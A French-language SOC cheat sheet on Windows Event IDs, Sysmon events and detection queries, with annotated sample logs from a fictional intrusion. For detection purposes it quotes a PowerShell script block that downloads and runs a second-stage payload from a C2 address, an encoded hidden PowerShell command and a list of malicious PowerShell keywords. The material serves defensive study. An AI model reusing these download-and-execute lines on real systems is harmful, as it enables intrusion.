Event ID Windows

Cheat Sheet pour l'analyse SOC

Octobre 2026

Table des matières

Mode d'emploi . . . 1
Authentification et sessions . . . 2
Kerberos . . . 4
Gestion des comptes . . . 5
Création de processus . . . 6
Accès aux objets et partages . . . 7
Services, tâches planifiées, persistance . . . 8
PowerShell . . . 8
WMI . . . 9
RDP et Terminal Services . . . 9
WinRM et PowerShell Remoting . . . 10
Defender et AppLocker . . . 10
Politique d'audit et effacement . . . 11
Pare-feu . . . 11
Système . . . 12
Sysmon — table de référence . . . 12
Exemples annotés . . . 13
Scénarios de détection . . . 19
Requêtes prêtes à l'emploi . . . 20
Sources de référence . . . 21

Mode d'emploi

Ce document rassemble les **Event ID Windows** utiles en analyse SOC, organisés par domaine fonctionnel plutôt que par ordre numérique — c'est ainsi qu'on les cherche en investigation.

Conventions

- Les ID en **gras** sont ceux à connaître par cœur.
- La colonne *Journal* indique où trouver l'événement quand ce n'est pas `Security`.
- Les termes techniques restent en anglais, tels qu'ils apparaissent dans les logs.

Où vivent les journaux

Journal	Chemin
Security, System, Application	`%SystemRoot%\System32\winevt\Logs\`
Sysmon	`Microsoft-Windows-Sysmon/Operational`
PowerShell	`Microsoft-Windows-PowerShell/Operational`
Tâches planifiées	`Microsoft-Windows-TaskScheduler/Operational`

Journal	Chemin
WMI	`Microsoft-Windows-WMI-Activity/Operational`
RDP (session)	`Microsoft-Windows-TerminalServices-LocalSessionManager/Operational`
RDP (connexion)	`Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational`
WinRM	`Microsoft-Windows-WinRM/Operational`
Defender	`Microsoft-Windows-Windows Defender/Operational`
AppLocker	`Microsoft-Windows-AppLocker/*`

Prérequis d'audit

Beaucoup d'événements n'existent que si l'audit correspondant est activé. Les plus souvent absents en configuration par défaut :

- **4688 avec ligne de commande** : GPO *Include command line in process creation events*
- **4663** (accès aux objets) : SACL à poser sur chaque objet surveillé
- **4104** (script block logging) : GPO *Turn on PowerShell Script Block Logging*
- **5145** (accès détaillé aux partages) : audit *Detailed File Share*

Authentification et sessions

ID	Événement	Usage SOC
4624	Ouverture de session réussie	Le pivot de toute investigation d'accès
4625	Échec d'ouverture de session	Brute force, password spraying
4634	Fermeture de session	Fin de session
4647	Déconnexion initiée par l'utilisateur	Déconnexion volontaire
4648	Connexion avec identifiants explicites	`runas`, pass-the-hash, mouvement latéral
4672	Privilèges spéciaux assignés	Session administrative
4673	Appel à un service privilégié	Usage de privilège sensible
4674	Opération sur un objet privilégié	—
4778	Session reconnectée	RDP, reconnexion
4779	Session déconnectée	RDP, déconnexion
4800	Station de travail verrouillée	Activité utilisateur
4801	Station de travail déverrouillée	Activité utilisateur
4964	Groupe spécial assigné à une session	Compte à surveiller

Logon Types — le champ qui change tout

Type	Nom	Signification
0	System	Session système
2	Interactive	Console physique, clavier

Type	Nom	Signification
3	Network	SMB, partages, accès distant aux ressources
4	Batch	Tâche planifiée
5	Service	Démarrage de service
7	Unlock	Déverrouillage de station
8	NetworkCleartext	Mot de passe transmis en clair (IIS basic auth)
9	NewCredentials	`runas /netonly` — très utilisé en pivot
10	RemoteInteractive	RDP, Terminal Services
11	CachedInteractive	Identifiants en cache, hors domaine
12	CachedRemoteInteractive	RDP avec cache
13	CachedUnlock	Déverrouillage avec cache

À chasser : un type 3 suivi d'un type 10 depuis une station inhabituelle ; un type 9 depuis un poste utilisateur ; un type 8 ailleurs que sur un serveur web.

Codes d'échec du 4625 (champ Status / Sub Status)

Code	Signification	Lecture SOC
0xC0000064	Le compte n'existe pas	Énumération de comptes
0xC000006A	Mot de passe incorrect	Brute force, spraying
0xC000006D	Nom ou authentification invalide	Générique
0xC000006E	Restriction sur le compte	—
0xC000006F	Hors des heures autorisées	Activité nocturne suspecte
0xC0000070	Station de travail non autorisée	Tentative depuis un poste interdit
0xC0000071	Mot de passe expiré	Bénin
0xC0000072	Compte désactivé	Tentative sur un compte désactivé = suspect
0xC00000DC	Serveur dans un état incorrect	—
0xC0000133	Horloges désynchronisées	Peut masquer une attaque Kerberos
0xC000015B	Type de connexion non accordé	Tentative d'usage interdit
0xC000018C	Relation d'approbation échouée	—
0xC0000192	Service Netlogon non démarré	—
0xC0000193	Compte expiré	—
0xC0000224	Changement de mot de passe requis	—
0xC0000225	Bug Windows	Sans risque
0xC0000234	Compte verrouillé	Conséquence d'un brute force

Distinction clé : beaucoup de `0xC000006A` sur **un seul compte** = brute force. Quelques tentatives sur **beaucoup de comptes** = password spraying. Beaucoup de `0xC0000064` = énumération.

Kerberos

ID	Événement	Usage SOC
4768	Demande de TGT (*authentication ticket*)	Authentification initiale
4769	Demande de TGS (*service ticket*)	**Kerberoasting**
4770	Renouvellement de TGS	—
4771	Échec de pré-authentification	AS-REP roasting, spraying
4772	Échec de demande de TGT	—
4773	Échec de demande de TGS	—
4774	Mappage de compte pour authentification	—
4776	Validation d'identifiants NTLM	Authentification NTLM (legacy)
4777	Échec de validation NTLM	—

Types de chiffrement de ticket

Valeur	Algorithme	Lecture SOC
0x1	DES-CBC-CRC	Obsolète, à bannir
0x3	DES-CBC-MD5	Obsolète, à bannir
0x17	RC4-HMAC	**Signature de Kerberoasting** — faible, crackable
0x18	RC4-HMAC-EXP	Faible
0x11	AES128-CTS-HMAC-SHA1-96	Normal
0x12	AES256-CTS-HMAC-SHA1-96	Normal, attendu

Un **4769 avec `Ticket Encryption Type: 0x17`** sur un compte de service est la détection classique du Kerberoasting : l'attaquant force le downgrade en RC4 parce que c'est le seul format qu'il peut casser hors ligne efficacement.

Codes d'échec Kerberos

Code	Signification
0x6	Le client n'existe pas (énumération)
0x7	Le serveur n'existe pas
0x9	Changement de mot de passe requis
0xC	Restriction de politique (poste, horaires)
0xE	Type de chiffrement non supporté
0x12	Compte désactivé, expiré, verrouillé ou révoqué
0x17	Mot de passe expiré
0x18	Pré-authentification échouée = **mauvais mot de passe**
0x1F	Échec du contrôle d'intégrité
0x20	Ticket expiré
0x25	Décalage d'horloge trop important

Détections Kerberos

Attaque	Signature
Kerberoasting	4769 massif, `Ticket Encryption Type: 0x17`, sur des comptes avec SPN
AS-REP Roasting	4768 sur des comptes sans pré-authentification requise
Password spraying	4771 avec `0x18` sur de nombreux comptes différents
Golden Ticket	4769 sans 4768 correspondant ; TGT de durée anormale
Silver Ticket	4769 sans trace côté DC ; accès à un service sans 4768
Pass-the-Ticket	4768/4769 depuis une IP incohérente avec le compte
Overpass-the-Hash	4768 avec chiffrement RC4 depuis un poste utilisateur

---

Gestion des comptes

ID	Événement
4720	Compte utilisateur créé
4722	Compte activé
4723	Mot de passe changé par l'utilisateur
4724	Mot de passe réinitialisé par un administrateur
4725	Compte désactivé
4726	Compte supprimé
4738	Compte modifié
4740	Compte verrouillé
4767	Compte déverrouillé
4781	Compte renommé
4794	Tentative de définition du mode restauration DSRM
4798	Énumération des groupes locaux d'un utilisateur
4799	Énumération des membres d'un groupe local

Les **4798 et 4799** sont précieux : c'est la reconnaissance Active Directory (BloodHound, PowerView) qui les génère en rafale.

Groupes

ID	Action	Portée
4728	Membre ajouté	Groupe global de sécurité
4729	Membre retiré	Groupe global de sécurité
4732	Membre ajouté	Groupe local de sécurité
4733	Membre retiré	Groupe local de sécurité

ID	Action	Portée
4756	Membre ajouté	Groupe universel de sécurité
4757	Membre retiré	Groupe universel de sécurité
4727	Groupe créé	Global de sécurité
4731	Groupe créé	Local de sécurité
4754	Groupe créé	Universel de sécurité
4735	Groupe modifié	Local de sécurité
4737	Groupe modifié	Global de sécurité

Priorité absolue : tout ajout à `Domain Admins`, `Enterprise Admins`, `Schema Admins`, `Administrators`, `Backup Operators`, `Account Operators`, `Print Operators`, `Remote Desktop Users`.

Création de processus

ID	Événement	Journal
4688	Création de processus	Security
4689	Fin de processus	Security
1	Process Create	Sysmon
5	Process Terminated	Sysmon

4688 contre Sysmon 1

	4688	Sysmon 1
Ligne de commande	Seulement si GPO activée	Toujours
Hash du binaire	Non	Oui
Ligne de commande du parent	Non	Oui
Niveau d'intégrité	Oui	Oui
GUID de processus	Non	Oui

Sysmon est plus riche. Le 4688 sert de recoupement quand Sysmon a été désactivé par l'attaquant.

Relations parent/enfant anormales

Parent	Enfant suspect
`winword.exe`, `excel.exe`, `outlook.exe`	`cmd.exe`, `powershell.exe`, `wscript.exe`, `mshta.exe`
`w3wp.exe` (IIS)	N'importe quel shell = webshell
`services.exe`	Binaire hors `System32`
`explorer.exe`	Binaire au nom système hors `System32`
`wmiprvse.exe`	Tout processus = exécution WMI distante
`wsmprovhost.exe`	Tout processus = PowerShell Remoting
`lsass.exe`	Tout processus = très anormal

LOLBins à surveiller

`rundll32.exe` · `regsvr32.exe` · `mshta.exe` · `certutil.exe` · `bitsadmin.exe` · `msiexec.exe` · `installutil.exe` · `regasm.exe` · `msbuild.exe` · `cmstp.exe` · `forfiles.exe` · `pcalua.exe` · `wmic.exe` · `odbcconf.exe`

Accès aux objets et partages

ID	Événement
4656	Handle demandé sur un objet
4657	Valeur de registre modifiée
4658	Handle fermé
4660	Objet supprimé
4663	Tentative d'accès à un objet
4664	Tentative de création d'un lien physique
4670	Permissions d'un objet modifiées
5140	Accès à un partage réseau
5142	Partage réseau créé
5143	Partage réseau modifié
5144	Partage réseau supprimé
5145	Vérification d'accès détaillée à un partage

Les partages administratifs `ADMIN$`, `C$`, `IPC$` apparaissent dans les 5140/5145 : leur accès depuis un poste utilisateur signe un mouvement latéral (PsExec, SMBExec).

Active Directory

ID	Événement
4662	Opération sur un objet AD
5136	Objet du service d'annuaire modifié
5137	Objet créé
5138	Objet restauré
5139	Objet déplacé
5141	Objet supprimé

Détection DCSync — le 4662 avec ces GUID de propriété signale une réplication demandée par un compte non-DC :

GUID	Droit étendu
`1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`	DS-Replication-Get-Changes
`1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`	DS-Replication-Get-Changes-All
`89e95b76-444d-4c62-991a-0facbeda640c`	DS-Replication-Get-Changes-In-Filtered-Set

Si le compte à l'origine n'est pas un contrôleur de domaine, c'est une tentative de vol de l'ensemble des hashs du domaine.

Services, tâches planifiées, persistance

Services

ID	Événement	Journal
7045	Service installé	System
4697	Service installé	Security
7034	Service terminé de façon inattendue	System
7035	Contrôle envoyé à un service	System
7036	Changement d'état d'un service	System
7040	Type de démarrage modifié	System
7000 / 7009	Échec ou timeout de démarrage	System

Un service au nom aléatoire pointant vers un binaire dans `\Temp`, `\ADMIN$` ou `\Users` signe PsExec ou un dérivé.

Tâches planifiées

ID	Événement	Journal
4698	Tâche créée	Security
4699	Tâche supprimée	Security
4700	Tâche activée	Security
4701	Tâche désactivée	Security
4702	Tâche mise à jour	Security
106	Tâche enregistrée	TaskScheduler
140	Tâche mise à jour	TaskScheduler
141	Tâche supprimée	TaskScheduler
129	Processus créé par une tâche	TaskScheduler
200 / 201	Action démarrée / terminée	TaskScheduler

Registre — emplacements de persistance

Clé	Technique ATT&CK
`...\CurrentVersion\Run` et `RunOnce`	T1547.001
`...\CurrentVersion\RunServices`	T1547.001
`...\Winlogon\Userinit` et `Shell`	T1547.004
`...\Image File Execution Options\*\Debugger`	T1546.012
`...\Windows NT\CurrentVersion\Windows\AppInit_DLLs`	T1546.010
`...\Control\Session Manager\BootExecute`	T1547.001
`...\Services\*`	T1543.003
Dossier `Startup` du menu Démarrer	T1547.001

PowerShell

ID	Événement	Journal
4104	Script Block Logging — **le code exécuté**	PowerShell/Operational
4103	Journalisation des modules et pipelines	PowerShell/Operational
4105 / 4106	Début / fin d'exécution d'une commande	PowerShell/Operational
40961	Démarrage de la console PowerShell	PowerShell/Operational
40962	Console prête	PowerShell/Operational
53504	Pipe nommé IPC de PowerShell	PowerShell/Operational
400	Démarrage du moteur	Windows PowerShell
403	Arrêt du moteur	Windows PowerShell
600	Cycle de vie d'un fournisseur	Windows PowerShell
800	Détails du pipeline	Windows PowerShell

Le **4104** est le plus précieux de tout le catalogue Windows : il contient le **code source** réellement exécuté, y compris après désobfuscation partielle, même quand le script n'a jamais touché le disque.

Motifs à chercher dans le 4104

`FromBase64String` · `DownloadString` · `DownloadFile` · `IEX` · `Invoke-Expression` · `-enc` / `-EncodedCommand` · `-w hidden` / `-WindowStyle Hidden` · `-nop` / `-NoProfile` · `-ExecutionPolicy Bypass` · `Net.WebClient` · `Reflection.Assembly` · `VirtualAlloc` · `WriteProcessMemory` · `CreateThread` · `Invoke-Mimikatz` · `Invoke-Command` · `Enter-PSSession` · `New-PSSession` · `Invoke-ShareFinder` · `Get-NetUser` · `Invoke-UserHunter`

Le **downgrade en PowerShell v2** (`-Version 2`) désactive le script block logging : sa présence est un signal en soi.

WMI

ID	Événement	Journal
5857	Fournisseur WMI démarré	WMI-Activity
5858	Erreur de requête WMI	WMI-Activity
5859	Consommateur d'événement ESS	WMI-Activity
5860	Consommateur temporaire enregistré	WMI-Activity
5861	**Consommateur permanent enregistré**	WMI-Activity
19 / 20 / 21	Filtre / Consommateur / Liaison	Sysmon

Le **5861** et le trio Sysmon **19-20-21** révèlent la persistance WMI : furtive, sans fichier sur disque, survivant aux redémarrages. Toute occurrence mérite investigation.

RDP et Terminal Services

ID	Événement	Journal
1149	Authentification utilisateur réussie	RemoteConnectionManager
261	Connexion reçue par le listener	RemoteConnectionManager
21	Ouverture de session réussie	LocalSessionManager
22	Démarrage du shell	LocalSessionManager
23	Fermeture de session	LocalSessionManager
24	Session déconnectée	LocalSessionManager
25	Reconnexion de session	LocalSessionManager
39	Session déconnectée par un autre utilisateur	LocalSessionManager
40	Session déconnectée, code de raison	LocalSessionManager
1024	Tentative de connexion sortante	RDPClient (côté source)
1102	Connexion au serveur	RDPClient (côté source)

Côté `Security`, un RDP produit un **4624 avec LogonType 10**, puis **4778** / **4779** pour les reconnexions.

Les journaux **RDPClient** sur un poste compromis révèlent vers **où** l'attaquant a rebondi — souvent oubliés en investigation.

WinRM et PowerShell Remoting

ID	Événement	Journal
6	Création d'une session WSMan	WinRM
81	Traitement d'une requête	WinRM
91	Création d'un shell WSMan	WinRM
142	Opération refusée	WinRM
169	Authentification utilisateur réussie	WinRM

La signature la plus fiable reste le processus `wsmprovhost.exe` sur la machine cible (Sysmon 1 ou 4688) : rien d'autre ne le lance. Ports **5985** (HTTP) et **5986** (HTTPS).

Defender et AppLocker

Windows Defender

ID	Événement
1006	Malware détecté
1007	Action entreprise contre un malware
1008	Échec de l'action
1009	Élément restauré depuis la quarantaine
1015	Comportement suspect détecté
1116	Malware détecté (moderne)
1117	Action entreprise (moderne)

ID	Événement
1118 / 1119	Remédiation réussie / échouée
5001	Protection en temps réel désactivée
5004	Configuration de la protection modifiée
5007	Configuration de Defender modifiée
5010	Analyse anti-malware désactivée
5012	Analyse antivirus désactivée

Les **5001, 5007, 5010, 5012** sont des événements de **désactivation** : un attaquant qui prépare le terrain. À alerter systématiquement.

AppLocker

ID	Événement
8002	Exécution autorisée
8003	Aurait été bloqué (mode audit)
8004	Exécution bloquée
8005	Script autorisé
8006	Script aurait été bloqué
8007	Script bloqué

Politique d'audit et effacement

ID	Événement	Journal
1102	**Journal d'audit effacé**	Security
104	Journal effacé	System
4719	Politique d'audit système modifiée	Security
4906	Valeur CrashOnAuditFail modifiée	Security
4907	Paramètres d'audit d'un objet modifiés	Security
4908	Table des groupes spéciaux modifiée	Security
4912	Politique d'audit par utilisateur modifiée	Security
1100	Service de journalisation arrêté	Security

Le **1102** n'a presque jamais de raison légitime. C'est l'un des rares événements qui justifie une alerte à sévérité maximale sans contexte supplémentaire.

Pare-feu

ID	Événement
5152	Paquet bloqué
5154	Écoute autorisée sur un port
5156	Connexion autorisée

ID	Événement
5157	Connexion bloquée
5158	Liaison à un port local autorisée
4946	Règle ajoutée
4947	Règle modifiée
4948	Règle supprimée
4950	Paramètre du pare-feu modifié

Système

ID	Événement	Journal
4608	Démarrage de Windows	Security
4609	Arrêt de Windows	Security
4616	**Heure système modifiée**	Security
6005	Service de journalisation démarré (boot)	System
6006	Service de journalisation arrêté (shutdown)	System
6008	Arrêt inattendu	System
6013	Temps de fonctionnement du système	System
1074	Arrêt ou redémarrage demandé	System
1076	Raison d'un arrêt inattendu	System
41	Redémarrage sans arrêt propre (Kernel-Power)	System

Le **4616** mérite attention : modifier l'heure système est une technique anti-forensique qui désaligne la timeline et peut casser l'authentification Kerberos.

Sysmon — table de référence

ID	Événement	ID	Événement
1	Process Create	16	Sysmon config changed
2	File creation time changed	**17**	Pipe Created
3	Network Connection	18	Pipe Connected
4	Sysmon service state changed	19	WmiEventFilter
5	Process Terminated	20	WmiEventConsumer
6	Driver Loaded	21	WmiEventConsumerToFilter
7	Image Loaded	**22**	DNS Query
8	CreateRemoteThread	23	FileDelete (archivé)
9	RawAccessRead	24	ClipboardChange
10	ProcessAccess	25	ProcessTampering
11	FileCreate	26	FileDeleteDetected
12	Registry — create/delete	27	FileBlockExecutable
13	Registry — Value Set	28	FileBlockShredding
14	Registry — rename	29	FileExecutableDetected
15	FileCreateStreamHash	255	Error

Masques GrantedAccess sur LSASS (Sysmon 10)

Masque	Droits	Verdict
0x1010	VM_READ + QUERY_INFORMATION	**Dump mémoire**
0x1410	VM_READ + QUERY + DUP_HANDLE	**Dump mémoire**
0x1438	VM_WRITE + VM_OPERATION + ...	**Injection**
0x143a	Combinaison write/alloc/thread	**Injection**
0x1F0FFF	PROCESS_ALL_ACCESS	**Accès total**
0x1FFFFF	PROCESS_ALL_ACCESS	**Accès total**
0x1000	QUERY_LIMITED_INFORMATION	Bénin
0x400	QUERY_INFORMATION	Bénin

Exemples annotés

Les champs marqués d'une flèche sont ceux que l'analyste regarde en premier.

4624 — Ouverture de session réseau

```
An account was successfully logged on.

Subject:
    Security ID:        NULL SID
    Account Name:       -
    Logon ID:           0x0

Logon Information:
    Logon Type:         3                       <-- Network
    Impersonation Lvl:  Impersonation

New Logon:
    Security ID:        UNIWALDO\jdupont        <-- quel compte
    Account Name:       jdupont
    Account Domain:     UNIWALDO
    Logon ID:           0x4A2F91
    Logon GUID:         {a1b2c3d4-...}

Process Information:
    Process ID:         0x0
    Process Name:       -

Network Information:
    Workstation Name:   WS-MARKETING-07        <-- d'où
    Source Network Address: 10.0.0.54
    Source Port:        49812

Detailed Authentication Information:
    Logon Process:      NtLmSsp                 <-- NTLM, pas Kerberos
    Authentication Pkg: NTLM
    Package Name:       NTLM V2
    Key Length:         128
```

Lecture : un Logon Type 3 est banal en soi — c'est un accès à un partage. Ce qui interpelle ici, c'est NtLmSsp : dans un domaine Active Directory sain, l'authentification passe par **Kerberos**. Du NTLM sur une ressource du domaine suggère soit une application ancienne, soit un **pass-the-hash** (qui ne peut pas produire de Kerberos).

À croiser : la même IP source avec d'autres comptes ; un 4648 juste avant ; un 4672 juste après.

4625 — Password spraying

```
An account failed to log on.

Account For Which Logon Failed:
    Security ID:        NULL SID
    Account Name:       mdurand                 <-- change à chaque événement
    Account Domain:     UNIWALDO

Failure Information:
    Failure Reason:     Unknown user name or bad password
    Status:             0xC000006D
    Sub Status:         0xC000006A              <-- mot de passe incorrect

Network Information:
    Workstation Name:   KALI
    Source Network Address: 10.0.0.186          <-- toujours la même
    Source Port:        51234

Detailed Authentication Information:
    Logon Process:      NtLmSsp
    Authentication Pkg: NTLM
```

Lecture : le `Sub Status 0xC000006A` dit « le compte existe, le mot de passe est faux ». Isolé, c'est une faute de frappe. Le motif qui compte est **statistique** : si cette même `Source Network Address` produit un ou deux échecs sur **cinquante comptes différents** en quelques minutes, c'est du password spraying — un seul mot de passe testé sur tout l'annuaire, sous le seuil de verrouillage.

Le `Workstation Name: KALI` est ici une négligence de l'attaquant ; en vrai il serait usurpé.

Requête : grouper par IP source et compter les comptes distincts.

```
index=main EventCode=4625 | stats dc(Account_Name) as comptes, count by IpAddress
  | where comptes > 10
```

4769 — Kerberoasting

```
A Kerberos service ticket was requested.

Account Information:
    Account Name:       jdupont@UNIWALDO.LOCAL
    Account Domain:     UNIWALDO.LOCAL
    Logon GUID:         {b2c3d4e5-...}

Service Information:
    Service Name:       svc_sql                 <-- compte de service à SPN
    Service ID:         UNIWALDO\svc_sql

Network Information:
    Client Address:     ::ffff:10.0.0.54
    Client Port:        52001

Additional Information:
    Ticket Options:     0x40810000
    Ticket Encryption Type: 0x17                <-- RC4, le signal
    Failure Code:       0x0
```

Lecture : `0x17` = RC4-HMAC. Dans un domaine moderne, les tickets sont émis en **AES256 (0x12)**. Un client qui demande explicitement du RC4 force un downgrade, parce que c'est le seul format qu'il peut casser hors ligne à vitesse raisonnable.

Le motif d'alerte : **un seul compte** demandant des tickets pour **beaucoup de services** différents en RC4, en quelques secondes. Un utilisateur normal n'accède pas à quinze services d'affilée.

```
index=main EventCode=4769 Ticket_Encryption_Type=0x17
  | stats dc(Service_Name) as services, values(Service_Name) by Account_Name
  | where services > 5
```

4688 — Reconnaissance par LOLBin

```
A new process has been created.

Creator Subject:
    Security ID:        UNIWALDO\jdupont
    Account Name:       jdupont
    Logon ID:           0x4A2F91

Process Information:
    New Process ID:     0x1A4C
    New Process Name:   C:\Windows\System32\net1.exe     <-- pas net.exe
    Token Elevation Type: %%1936 (limited)
    Mandatory Label:    Medium Mandatory Level
    Creator Process ID: 0x0F30
    Creator Process Name: C:\Windows\System32\net.exe
    Process Command Line: net1 group "Domain Admins" /domain
```

Lecture : `net.exe` délègue la plupart de ses sous-commandes à **`net1.exe`**. Si ta règle de détection ne cherche que `net.exe`, tu rates l'essentiel — c'est `net1.exe` qui porte la vraie ligne de commande.

Ici, un compte utilisateur standard énumère les administrateurs du domaine. Aucune raison métier.

À croiser : les autres commandes de découverte dans la même fenêtre — `whoami /all`, `nltest /domain_trusts`, `net view /domain`, `quser`. Elles arrivent presque toujours en grappe.

Sysmon 1 — Chaîne parent/enfant anormale

```
Process Create:
  UtcTime:        2026-10-11 14:22:07.412
  ProcessGuid:    {1cb7ffb5-dcba-636a-a000-...}
  ProcessId:      4832
  Image:          C:\Windows\System32\cmd.exe          <-- enfant
  CommandLine:    cmd.exe /c powershell -nop -w hidden -enc SQBFAFgA...
  CurrentDirectory: C:\Users\jdupont\AppData\Local\Temp\
  User:           UNIWALDO\jdupont
  IntegrityLevel: Medium
  Hashes:         SHA256=BADF00D...
  ParentProcessId: 3104
  ParentImage:    C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE   <-
- parent
  ParentCommandLine: "WINWORD.EXE" /n "C:\Users\jdupont\Downloads\facture.docm"
```

Lecture : trois signaux empilés. Word qui lance `cmd.exe` — aucune raison légitime. Un `.docm` (macro activée) téléchargé. Et une commande PowerShell `-enc` en base64, `-w hidden`, `-nop`.

C'est le schéma d'une **macro malveillante** dans une pièce jointe, soit le vecteur d'accès initial le plus courant.

Suite de l'enquête : décoder le base64, chercher le 4104 correspondant qui contiendra le script en clair, puis le Sysmon 3 pour la connexion sortante.

Sysmon 7 — DLL hijacking

```
Image loaded:
  UtcTime:        2026-10-11 14:25:33.019
  ProcessId:      5120
  Image:        C:\Program Files\VendorApp\VendorApp.exe     <-- processus légitime
  ImageLoaded:    C:\Program Files\VendorApp\version.dll        <-- hors System32
  FileVersion:    -
  Description:    -
  Product:        -
  Company:        -
  Hashes:         SHA256=C0FFEE...
  Signed:         false                                          <-- non signée
  Signature:      -
  SignatureStatus: Unavailable
```

Lecture : `version.dll` est une DLL système qui vit normalement dans `C:\Windows\System32`. Ici elle est chargée depuis le répertoire de l'application, non signée, sans métadonnées.

C'est du **DLL side-loading** : l'attaquant a déposé sa DLL à côté d'un exécutable signé, qui la charge en priorité à cause de l'ordre de recherche de Windows. Le code malveillant s'exécute alors dans le contexte d'un binaire de confiance.

Noms classiquement détournés : `version.dll`, `dbghelp.dll`, `winmm.dll`, `wlbsctrl.dll`, `dwmapi.dll`, `uxtheme.dll`, `profapi.dll`, `cryptsp.dll`.

À croiser : le Sysmon 11 qui a déposé la DLL — il dira quand et par quel processus.

Sysmon 10 — Dump de LSASS

```
Process accessed:
  UtcTime:        2026-10-11 14:31:58.772
  SourceProcessGUID: {1cb7ffb5-dcba-636a-b100-...}
  SourceProcessId:   6204
  SourceImage:       C:\Windows\System32\notepad.exe        <-- aberrant
  TargetProcessId:   728
  TargetImage:       C:\Windows\System32\lsass.exe          <-- la cible
  GrantedAccess:     0x1010                                 <-- VM_READ
  CallTrace:         C:\Windows\SYSTEM32\ntdll.dll+9d234|
                     C:\Windows\System32\KERNELBASE.dll+2d1f3|
                UNKNOWN(00000216A3C40000)          <-- code non associé à un module
  SourceUser:        UNIWALDO\jdupont
  TargetUser:        NT AUTHORITY\SYSTEM
```

Lecture : trois anomalies qui se renforcent.

`notepad.exe` n'a strictement aucune raison d'ouvrir `lsass.exe` — c'est un processus injecté servant de façade.

`GrantedAccess: 0x1010` contient `PROCESS_VM_READ` : on lit la mémoire, on ne se contente pas d'interroger le processus.

Le `CallTrace` finit par **`UNKNOWN`** avec une adresse mémoire brute : du code s'exécute depuis une région qui n'appartient à aucun module chargé. C'est la signature d'un shellcode injecté, et c'est souvent le détail le plus concluant de l'événement.

À croiser : Sysmon 8 (qui a injecté dans notepad), Sysmon 11 (un `.dmp` écrit), Sysmon 1 (comment notepad a été lancé).

Sysmon 3 — Beaconing C2

```
Network connection detected:
  UtcTime:        2026-10-11 14:33:02.118
  ProcessId:      6204
  Image:          C:\Windows\System32\notepad.exe       <-- processus incohérent
  User:           UNIWALDO\jdupont
  Protocol:       tcp
  Initiated:      true                                  <-- sortant
  SourceIp:       10.0.0.54
  SourcePort:     51402
  DestinationIp:  10.0.0.186                            <-- le C2
  DestinationHostname: -
  DestinationPort: 8443
  DestinationPortName: -
```

Lecture : Notepad qui ouvre une connexion réseau est déjà absurde. Le port 8443 n'est pas interdit en soi — mais couplé au reste, il complète le tableau.

Le vrai critère de confirmation est **temporel** : un beacon émet à cadence régulière. Un humain, non.

```
index=main EventCode=3 DestinationIp="10.0.0.186"
  | timechart span=1m count by Image
```

Si tu vois une connexion toutes les 60 secondes pendant des heures, avec un léger jitter, c'est un C2. Les profils Cobalt Strike par défaut font du 60 s avec 10 % de jitter.

4104 — PowerShell obfusqué

```
Creating Scriptblock text (1 of 1):

$e = [System.Text.Encoding]::Unicode.GetString(
     [System.Convert]::FromBase64String($env:payload))
IEX $e
$c = New-Object Net.WebClient
$c.Headers.Add("User-Agent","Mozilla/5.0")
$c.DownloadString("http://10.0.0.186:8080/stage2.ps1") | IEX

ScriptBlock ID: 7f3a1c82-...
Path:
```

Lecture : tout y est. `FromBase64String` pour l'obfuscation, `IEX` pour exécuter une chaîne, `Net.WebClient` pour télécharger, un `User-Agent` usurpé pour se fondre dans le trafic, et une **charge de second étage** récupérée depuis le C2.

Le champ `Path` vide signifie que le code **n'a jamais existé en fichier** : il a été injecté directement en mémoire. C'est précisément pour ces cas que le 4104 est irremplaçable — aucune autre source ne montrerait ce code.

Note : un script long est découpé en plusieurs événements (`1 of 4`, `2 of 4`…). Il faut les rassembler par `ScriptBlock ID` pour reconstituer le tout.

7045 — PsExec

```
A service was installed in the system.

Service Name:       mCmzTqHRWlsVSMxV            <-- nom aléatoire
Service File Name:  %SystemRoot%\mCmzTqHRWlsVSMxV.exe
```

```
Service Type:       user mode service
Service Start Type: demand start
Service Account:    LocalSystem                <-- privilèges maximaux
```

Lecture : un nom de service aléatoire de 16 caractères, un binaire déposé à la racine de `C:\Windows`, un démarrage à la demande, et le compte `LocalSystem`. C'est la signature exacte de **PsExec** et de ses nombreux clones (SMBExec, Impacket `psexec.py`, le module `jump psexec` de Cobalt Strike).

À croiser : un 5140 sur `ADMIN$` juste avant depuis la même source ; un 4624 type 3 avec le compte utilisé ; les Sysmon 17/18 sur un named pipe.

4662 — DCSync

```
An operation was performed on an object.

Subject:
    Security ID:        UNIWALDO\jdupont       <-- pas un contrôleur de domaine
    Account Name:       jdupont
    Logon ID:           0x4A2F91

Object:
    Object Server:      DS
    Object Type:        domainDNS
    Object Name:        DC=uniwaldo,DC=local
    Handle ID:          0x0

Operation:
    Operation Type:     Object Access
    Accesses:           Control Access
    Access Mask:        0x100
    Properties:         Control Access
                        {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}   <-- Get-Changes
                      {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}   <-- Get-Changes-All
```

Lecture : ces deux GUID sont les droits étendus de **réplication Active Directory**. Normalement, seuls les contrôleurs de domaine les exercent, entre eux.

Un compte utilisateur qui les demande est en train de **répliquer la base d'annuaire** — c'est-à-dire d'extraire les hashs de tous les comptes du domaine, `krbtgt` compris. Avec le hash de `krbtgt`, l'attaquant peut forger des Golden Tickets et devenir n'importe qui, indéfiniment.

C'est l'un des rares événements qui justifie une **alerte critique immédiate**. La règle est simple à écrire et quasi sans faux positif : *4662 avec ces GUID, où le compte source n'est pas membre de `Domain Controllers`*.

Sysmon 13 — Persistance par clé Run

```
Registry value set:
  EventType:      SetValue
  UtcTime:        2026-10-11 14:40:11.556
  ProcessId:      6204
  Image:          C:\Windows\System32\notepad.exe       <-- encore lui
  TargetObject:   HKU\S-1-5-21-...\Software\Microsoft\Windows\
                  CurrentVersion\Run\OneDriveSync       <-- nom crédible
  Details:        "C:\Users\jdupont\AppData\Roaming\odsync.exe"
  User:           UNIWALDO\jdupont
```

Lecture : la valeur s'appelle `OneDriveSync` — un nom choisi pour ne pas attirer l'œil dans une liste. Mais le binaire pointé vit dans `AppData\Roaming`, pas dans `Program Files`, et c'est `notepad.exe` qui a écrit la clé.

Le nom d'une valeur de registre ne prouve rien. **Ce qui compte, c'est le chemin du binaire et le processus qui a fait l'écriture.**

Lire une timeline complète

Remis dans l'ordre chronologique, les exemples ci-dessus racontent une seule intrusion :

Heure	Événement	Phase
